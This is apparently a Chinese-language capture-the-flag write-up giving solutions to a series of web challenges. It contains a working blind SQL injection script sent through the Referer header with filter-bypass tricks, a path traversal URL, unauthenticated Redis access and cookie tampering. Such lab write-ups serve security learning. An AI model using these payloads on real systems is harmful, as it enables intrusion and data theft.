第一题题目地址:页面的背后是什么? http://45.113.201.36/index.html
这里有两个思路 1.直接审查元素,发现这么一段
<input id="flag1" type="hidden" values="flag1" value="4b71013a-da38dd23-f0beadea-3762be15">
毫无疑问flag1是4b71013a-da38dd23-f0beadea-3762be15
//可能会有变化,以页面为准。
2.还是看页面的源码
<script>
$.ajax({
url: "api/admin",
type: "get",
success:function (data) {
//console.log(data);
if (data.code == 200){
// 如果有值:前端跳转
var input = document.getElementById("flag1");
input.value = String(data.data);
} else {
// 如果没值
$('#flag1').html("接口异常,请稍后再试~");
}
}
})
</script>
易得出http://45.113.201.36/api/admin 可以得到flag1
2 按照提示改UA3 用户名万年admin,密码b站叫啥?4 cookie role嗯,,,win超级管理员,你懂的 Administrator5 暴力,从100336889开始,嫌麻烦的话...100336908开始吧(ノ_ _)ノ10 绝了,翻出以前的工具扫出来个test.php(这步貌似是意外,经大佬提醒应该从“结束”得到end.php下手),fuckjs,够狠的;用console搞出来第一个str的内容是程序员最多的地方,第二个是bilibili1024havefun,搜索得到https://github.com/interesting-1024/end/end.php,也就是目录下end.php的源码(实际上并不是真正的源码,实测无法遍历目录);传参id[]=1满足第一个条件,按照前面题目的格式api/ctf/x,不难猜出api/ctf/6/flag.txt(其实只要带flag.txt就行),另存为图片,编辑器打开即见flag8 牛的,用redis连上,get keyredis-server启动redis-cli 120.92.151.189:6379(ip现在是45.113.201.36的那个了)get flag8
第六题
import requests
url='http://120.92.151.189/blog/single.php?id=1'
flag=''
for i in range(1,100):
left=33
right=128
while right-left!=1:
mid=(left+right)/2
payload="0123'^if(substr((selselectect flag from flag),{i},1)>binary {mid},(selecselectt 1+~0),0) ununionion selecselectt 1,2#".format(i=i,mid=hex(mid))
headers={
'Referer':payload
}
r=requests.get(url=url,headers=headers)
if len(r.text) == 5596:
left=mid
else:
right=mid
flag+=chr(right)
print (flag)
得出flag:a2b0883c-ffbb8d17-9a3bbf1c-ed600c80
第七个http://45.113.201.36/api/images?file=../../../flag7.txt
006bdfaa-700f1e69-415b1d2c-995e43be
第九题(最难的全军覆没)
第九题解法:
from Crypto.Cipher import AES
aes = AES.new('aes_key'+'\x00'*9, AES.MODE_ECB)
print base64.b64encode(base64.b64encode('00000000-00000000-00000000-00000000'))s='SkRGWDZRZnJxelJQU21YME42MU04OWlwV1l0SlYvcEJRVEJPWWFYUXVHOGZBcnJ1bjNXS3hXRlpHd05uMjFjRw=='.decode('base64')
print aes.decrypt(s.decode('base64'))
flag9: 8b522546-e52d83b8-5682e05c-c8cb237c
这题我真的吐了
来自(https://github.com/interesting-1024/end/issues/311)
第九题
访问http://45.113.201.36/api/images?file=../../../secret.txt
得到信息
{"code":200,"data":"SkRGWDZRZnJxelJQU21YME42MU04OWlwV1l0SlYvcEJRVEJPWWFYUXVHOGZBcnJ1bjNXS3hXRlpHd05uMjFjRw==","msg":""}
base64解码
JDFX6QfrqzRPSmX0N61M89ipWYtJV/pBQTBOYaXQuG8fArrun3WKxWFZGwNn21cG
密文: this is the key of secret.txt:aes_key
怎么来的?
靶机图片!!!
ae10c97f6de1129abb00b5c961394336.jpg(为什么是ta?因为ta的md5是JDFX6QfrqzRPSmX0N61M89ipWYtJV/pBQTBOYaXQuG8fArrun3WKxWFZGwNn21cG)
AES128 ECB模式,秘钥aes_key,zero_padding
就解出来了flag9: 8b522546-e52d83b8-5682e05c-c8cb237c